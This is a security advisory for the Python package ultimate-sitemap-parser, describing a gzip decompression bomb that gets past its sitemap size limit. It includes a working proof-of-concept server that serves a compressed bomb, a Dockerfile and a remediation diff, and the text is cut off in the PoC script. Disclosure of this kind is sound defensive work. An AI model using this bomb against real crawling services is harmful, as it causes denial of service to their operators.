GHSA-8823-qg2x-pv9f Ultimate Sitemap Parser (USP): Gzip Decompression Bomb Bypasses Sitemap Size Limit

• PyPI ultimate-sitemap-parser: < 1.8.1 → fixed in 1.8.1

Gzip Decompression Bomb Bypasses Sitemap Size Limit Summary `ultimate-sitemap-parser` enforces a 100 MiB size limit on sitemap responses, but applies it only to the compressed bytes received over the network. When a `.gz` sitemap is fetched, `usp/helpers.py:239` calls `gzip_lib.decompress(data)` with no output-size cap, allowing an attacker-controlled server to serve a small gzip-compressed payload (~549 KB) that expands to over 120 MiB in process memory. This completely bypasses the declared limit and can exhaust memory or crash any process that calls `sitemap_tree_for_homepage()` against an untrusted site. Details The library declares a maximum sitemap size constant in `usp/fetch_parse.py:64`: ```python __MAX_SITEMAP_SIZE = 100 * 1024 * 1024 # Max. uncompressed sitemap size ``` Despite the comment saying "uncompressed", this value is passed directly to the HTTP client layer at `usp/fetch_parse.py:130`: ```python web_client.set_max_response_data_length(self.__MAX_SITEMAP_SIZE) ``` The HTTP client (`usp/web_client/requests_client.py:57-58`) slices only the raw compressed response bytes: ```python data = self.__requests_response.content[: self.__max_response_data_length] ``` The truncated (but still compressed) bytes are then passed through the pipeline to `usp/fetch_parse.py:175`: ```python response_content = ungzipped_response_content(url=self._url, response=response) ``` Inside `ungzipped_response_content` (`usp/helpers.py:265-267`), when the URL ends in `.gz` or the response carries a gzip content type, decompression is triggered: ```python if __response_is_gzipped_data(url=url, response=response): data = gunzip(data) ``` The `gunzip` function (`usp/helpers.py:239`) decompresses without any output-size guard: ```python gunzipped_data = gzip_lib.decompress(data) ``` No post-decompression size check exists anywhere in the call chain. Dynamic reproduction confirmed that 549,213 bytes of compressed input passed the 100 MiB gate check (`compressed ' b'' b'' b'' ) compressed_bomb = gzip.compress(bomb_xml, compresslevel=1) class BombHandler(BaseHTTPRequestHandler): def do_GET(self): port = self.server.server_address[1] if self.path == "/robots.txt": body = f"Sitemap: http://127.0.0.1:{port}/sitemap.xml.gz\n".encode() self.send_response(200); self.end_headers(); self.wfile.write(body) elif self.path == "/sitemap.xml.gz": self.send_response(200) self.send_header("Content-Type", "application/x-gzip") self.end_headers(); self.wfile.write(compressed_bomb) else: self.send_response(404); self.end_headers() def log_message(self, *a): pass server = HTTPServer(("127.0.0.1", 0), BombHandler) port = server.server_address[1] threading.Thread(target=server.serve_forever, daemon=True).start() sitemap_tree_for_homepage(f"http://127.0.0.1:{port}/", use_known_paths=False) server.shutdown() ``` Expected output: ``` [INTERCEPT] gunzip() input=549,213 B output=125,829,234 B (120.0 MB) [+] sitemap_tree_for_homepage() returned without exception compressed=549,213 B limit=104,857,600 B (no post-decompress check) EXCEEDS LIMIT: True [PASS] Decompression bomb bypassed the size limit. ``` The parser fetches `/sitemap.xml.gz`, passes the compressed-size gate check, decompresses 549 KB into 120 MiB in process memory, and returns normally without raising an exception. Remediation: ```diff --- a/usp/helpers.py +++ b/usp/helpers.py +import io -def gunzip(data: bytes) -> bytes: +def gunzip(data: bytes, max_output_bytes: int | None = None) -> bytes: try: • gunzipped_data = gzip_lib.decompress(data) + chunks, total = [], 0 + with gzip_lib.GzipFile(fileobj=io.BytesIO(data)) as gz: + while chunk := gz.read(1024 * 1024): + total += len(chunk) + if max_output_bytes is not None and total > max_output_bytes: + raise GunzipException( + f"Gunzipped data exceeds maximum size of {max_output_bytes} bytes." + ) + chunks.append(chunk) + gunzipped_data = b"".join(chunks) -def ungzipped_response_content(url, response): +def ungzipped_response_content(url, response, max_uncompressed_size=None): • data = gunzip(data) + data = gunzip(data, max_output_bytes=max_uncompressed_size) --- a/usp/fetch_parse.py • response_content = ungzipped_response_content(url=self._url, response=response) + response_content = ungzipped_response_content( + url=self._url, response=response, + max_uncompressed_size=self.__MAX_SITEMAP_SIZE, + ) ``` Impact Any application that calls `sitemap_tree_for_homepage()` (or the underlying fetch/parse pipeline) against an attacker-controlled or compromised domain is vulnerable. The attacker only needs to control a web server that serves a valid `robots.txt` pointing to a gzip-compressed sitemap URL. No authentication or special configuration is required; the vulnerability is triggered by default library behavior. A ~549 KB compressed payload expands to 120 MiB in process memory. Larger bombs are possible up to the compressed-size limit (100 MiB of compressed data could expand to tens of gigabytes). Repeated requests or sufficiently large bombs can cause out-of-memory crashes, service disruptions, or denial of service in any process or service that performs sitemap crawling. This vulnerability is a Denial of Service via Uncontrolled Resource Consumption (Decompression Bomb / Zip Bomb). Affected parties include: • SEO tooling, search engine crawlers, and indexing services using this library. • Web frameworks and microservices that expose a sitemap-crawling endpoint to external input. • Any automated pipeline that regularly crawls third-party sitemaps. Reproduction artifacts `Dockerfile` ```dockerfile FROM python:3.12-slim Install build dependencies RUN apt-get update && apt-get install -y --no-install-recommends \ gcc \ && rm -rf /var/lib/apt/lists/* WORKDIR /app Copy the vulnerable library from the cloned repo (build context: parent dir) COPY repo/ /app/repo/ Install the library from local source (version 1.8.0) RUN pip install --no-cache-dir /app/repo/ Copy the PoC script COPY vuln-002/poc.py /app/poc.py Run with unbuffered output so evidence appears immediately CMD ["python3", "-u", "/app/poc.py"] ``` `poc.py` ```python !/usr/bin/env python3 """ Proof-of-Concept for VULN-002: Gzip Decompression Bomb Bypasses Sitemap Size Limit GateNLP/ultimate-sitemap-parser 1.8.0 Vulnerability location: usp/helpers.py:239 gunzipped_data = gzip_lib.decompress(data) # no max_length Attack path: 1. Attacker serves /robots.txt pointing to /sitemap.xml.gz 2. Libr…